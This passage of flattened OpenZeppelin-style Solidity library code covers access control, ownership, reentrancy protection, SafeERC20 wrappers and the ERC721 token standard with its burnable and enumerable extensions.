* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "../../../utils/Context.sol";
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
